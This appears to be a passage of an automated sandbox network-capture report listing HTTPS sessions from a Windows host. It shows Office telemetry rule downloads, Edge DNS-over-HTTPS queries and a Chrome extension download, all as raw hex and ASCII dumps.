2024-10-29 19:35:16 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:16 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193516Z-16849878b78p49s6zkwt11bbkn00000006pg00000000ahuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:16 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	49856	172.64.41.3	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:16 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-29 19:35:16 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-29 19:35:16 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 29 Oct 2024 19:35:16 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8da59b98cdac6c69-DFW alt-svc: h3=":443"; ma=86400
2024-10-29 19:35:16 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	49857	162.159.61.3	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:16 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-29 19:35:16 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-29 19:35:16 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 29 Oct 2024 19:35:16 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8da59b98dec64773-DFW alt-svc: h3=":443"; ma=86400
2024-10-29 19:35:16 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 93 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	49858	162.159.61.3	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:16 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-29 19:35:16 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-29 19:35:16 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 29 Oct 2024 19:35:16 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8da59b98fb076b05-DFW alt-svc: h3=":443"; ma=86400
2024-10-29 19:35:16 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom"s^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:17 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:17 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1b4bca5c-501e-000a-63e3-260180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193517Z-17c5cb586f6mhqqby1dwph2kzs000000025000000000mdfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:17 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:17 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:17 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 980a0530-101e-00a2-7d83-299f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193517Z-r197bdfb6b47gqdjvmbpfaf2d0000000024000000000hs52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:17 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:17 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:17 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193517Z-15b8d89586fmhkw429ba5n22m800000008bg00000000kkf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:17 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:17 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:17 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193517Z-15b8d89586fst84kttks1s2css00000000m000000000eete x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:17 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49861	142.250.185.225	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:17 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:17 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2fkLMfg2UViBSxPHR62M-7aPKx0IQuekXEaiPu1qL54C4HJ8BoMjJbe2us9vX7HBzulJv6Lu7hVg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 28 Oct 2024 20:33:29 GMT Expires: Tue, 28 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 82908 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 19:35:17 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-29 19:35:17 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-10-29 19:35:17 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-10-29 19:35:17 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-29 19:35:17 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
